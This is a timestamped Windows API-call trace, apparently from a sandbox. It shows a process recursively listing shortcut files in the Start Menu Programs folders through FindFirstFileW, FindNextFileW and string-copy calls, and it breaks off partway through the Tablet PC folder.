	[0090.441] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aca8
	[0090.441] wcscmp (_String1=".", _String2=".") returned 0
	[0090.441] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.441] wcscmp (_String1="..", _String2=".") returned 1
	[0090.441] wcscmp (_String1="..", _String2="..") returned 0
	[0090.441] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ae4bfb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ae4bfb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ae4bfb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x974, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access 2016.lnk", cAlternateFileName="ACCESS~1.LNK")) returned 1
	[0090.441] wcscmp (_String1="Access 2016.lnk", _String2=".") returned 1
	[0090.441] wcscmp (_String1="Access 2016.lnk", _String2="..") returned 1
	[0090.441] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc23497a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a94a259, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1
	[0090.441] wcscmp (_String1="Accessibility", _String2=".") returned 1
	[0090.442] wcscmp (_String1="Accessibility", _String2="..") returned 1
	[0090.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x86) returned 0x476e5d8
	[0090.442] wcscpy (in: _Dest=0x476e5d8, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs"
	[0090.442] wcscat (in: _Dest=0x476e5d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\"
	[0090.442] wcscat (in: _Dest=0x476e5d8, _Source="Accessibility" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility"
	[0090.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x4e30248
	[0090.442] wcscpy (in: _Dest=0x4e30248, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility"
	[0090.442] wcscat (in: _Dest=0x4e30248, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\"
	[0090.442] wcscat (in: _Dest=0x4e30248, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*"
	[0090.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d550
	[0090.442] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*", lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc23497a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a94a259, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ace8
	[0090.442] wcscmp (_String1=".", _String2=".") returned 0
	[0090.442] FindNextFileW (in: hFindFile=0x477ace8, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc23497a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a94a259, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.442] wcscmp (_String1="..", _String2=".") returned 1
	[0090.442] wcscmp (_String1="..", _String2="..") returned 0
	[0090.442] FindNextFileW (in: hFindFile=0x477ace8, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a94a259, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f43b93, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc8e5b1b6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1
	[0090.442] wcscmp (_String1="Desktop.ini", _String2=".") returned 1
	[0090.442] wcscmp (_String1="Desktop.ini", _String2="..") returned 1
	[0090.442] FindNextFileW (in: hFindFile=0x477ace8, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech Recognition.lnk", cAlternateFileName="")) returned 1
	[0090.442] wcscmp (_String1="Speech Recognition.lnk", _String2=".") returned 1
	[0090.442] wcscmp (_String1="Speech Recognition.lnk", _String2="..") returned 1
	[0090.442] FindNextFileW (in: hFindFile=0x477ace8, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech Recognition.lnk", cAlternateFileName="")) returned 0
	[0090.442] FindClose (in: hFindFile=0x477ace8 | out: hFindFile=0x477ace8) returned 1
	[0090.442] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d550) returned 1
	[0090.443] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e30248) returned 1
	[0090.443] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e5d8) returned 1
	[0090.443] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234b032, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47011dad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~2")) returned 1
	[0090.443] wcscmp (_String1="Accessories", _String2=".") returned 1
	[0090.443] wcscmp (_String1="Accessories", _String2="..") returned 1
	[0090.443] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476d8e8
	[0090.443] wcscpy (in: _Dest=0x476d8e8, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs"
	[0090.443] wcscat (in: _Dest=0x476d8e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\"
	[0090.443] wcscat (in: _Dest=0x476d8e8, _Source="Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories"
	[0090.443] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x86) returned 0x476d738
	[0090.443] wcscpy (in: _Dest=0x476d738, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories"
	[0090.443] wcscat (in: _Dest=0x476d738, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\"
	[0090.443] wcscat (in: _Dest=0x476d738, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*"
	[0090.443] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b608
	[0090.443] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234b032, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47011dad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a7a8
	[0090.443] wcscmp (_String1=".", _String2=".") returned 0
	[0090.443] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234b032, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47011dad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.443] wcscmp (_String1="..", _String2=".") returned 1
	[0090.443] wcscmp (_String1="..", _String2="..") returned 0
	[0090.443] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a94a259, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x69cb7dde, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x69cb7dde, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0090.443] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0090.443] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0090.443] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98a4376e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98a4376e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x49e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Math Input Panel.lnk", cAlternateFileName="")) returned 1
	[0090.443] wcscmp (_String1="Math Input Panel.lnk", _String2=".") returned 1
	[0090.443] wcscmp (_String1="Math Input Panel.lnk", _String2="..") returned 1
	[0090.444] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x630c736a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x630c736a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x630c736a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paint.lnk", cAlternateFileName="")) returned 1
	[0090.444] wcscmp (_String1="Paint.lnk", _String2=".") returned 1
	[0090.444] wcscmp (_String1="Paint.lnk", _String2="..") returned 1
	[0090.444] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d6e8df9, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9e26238d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x9c706000, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x48c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Assist.lnk", cAlternateFileName="")) returned 1
	[0090.444] wcscmp (_String1="Quick Assist.lnk", _String2=".") returned 1
	[0090.444] wcscmp (_String1="Quick Assist.lnk", _String2="..") returned 1
	[0090.444] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c555e4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x67c555e4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x67c555e4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Desktop Connection.lnk", cAlternateFileName="")) returned 1
	[0090.444] wcscmp (_String1="Remote Desktop Connection.lnk", _String2=".") returned 1
	[0090.444] wcscmp (_String1="Remote Desktop Connection.lnk", _String2="..") returned 1
	[0090.444] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c8ce781, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c8ce781, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x46e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Snipping Tool.lnk", cAlternateFileName="")) returned 1
	[0090.444] wcscmp (_String1="Snipping Tool.lnk", _String2=".") returned 1
	[0090.444] wcscmp (_String1="Snipping Tool.lnk", _String2="..") returned 1
	[0090.444] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x378897b7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x378897b7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x378897b7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x0, dwReserved1=0x0, cFileName="Steps Recorder.lnk", cAlternateFileName="")) returned 1
	[0090.444] wcscmp (_String1="Steps Recorder.lnk", _String2=".") returned 1
	[0090.444] wcscmp (_String1="Steps Recorder.lnk", _String2="..") returned 1
	[0090.444] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234c75c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1
	[0090.444] wcscmp (_String1="System Tools", _String2=".") returned 1
	[0090.444] wcscmp (_String1="System Tools", _String2="..") returned 1
	[0090.444] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x2d7f850
	[0090.444] wcscpy (in: _Dest=0x2d7f850, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories"
	[0090.444] wcscat (in: _Dest=0x2d7f850, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\"
	[0090.444] wcscat (in: _Dest=0x2d7f850, _Source="System Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools"
	[0090.444] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7fb98
	[0090.444] wcscpy (in: _Dest=0x2d7fb98, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools"
	[0090.444] wcscat (in: _Dest=0x2d7fb98, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\"
	[0090.444] wcscat (in: _Dest=0x2d7fb98, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*"
	[0090.444] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502e158
	[0090.444] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234c75c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a828
	[0090.444] wcscmp (_String1=".", _String2=".") returned 0
	[0090.445] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234c75c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.445] wcscmp (_String1="..", _String2=".") returned 1
	[0090.445] wcscmp (_String1="..", _String2="..") returned 0
	[0090.445] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655bc768, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x655bc768, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x655bc768, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Character Map.lnk", cAlternateFileName="")) returned 1
	[0090.445] wcscmp (_String1="Character Map.lnk", _String2=".") returned 1
	[0090.445] wcscmp (_String1="Character Map.lnk", _String2="..") returned 1
	[0090.445] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21f770e1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc8e8141c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc8e8141c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0090.445] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0090.445] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0090.445] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21f770e1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc8e8141c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc8e8141c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0090.445] FindClose (in: hFindFile=0x477a828 | out: hFindFile=0x477a828) returned 1
	[0090.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502e158) returned 1
	[0090.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7fb98) returned 1
	[0090.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f850) returned 1
	[0090.445] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6ec61aae, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc234d9cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec61aae, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1
	[0090.445] wcscmp (_String1="Tablet PC", _String2=".") returned 1
	[0090.445] wcscmp (_String1="Tablet PC", _String2="..") returned 1
	[0090.445] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x4895680
	[0090.445] wcscpy (in: _Dest=0x4895680, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories"
	[0090.445] wcscat (in: _Dest=0x4895680, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\"
	[0090.445] wcscat (in: _Dest=0x4895680, _Source="Tablet PC" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC"
	[0090.445] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x2d7f850
	[0090.445] wcscpy (in: _Dest=0x2d7f850, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC"
	[0090.445] wcscat (in: _Dest=0x2d7f850, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\"
	[0090.445] wcscat (in: _Dest=0x2d7f850, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*"
	[0090.445] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502a2c8
	[0090.446] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*", lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6ec61aae, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc234d9cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec61aae, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ace8
	[0090.446] wcscmp (_String1=".", _String2=".") returned 0
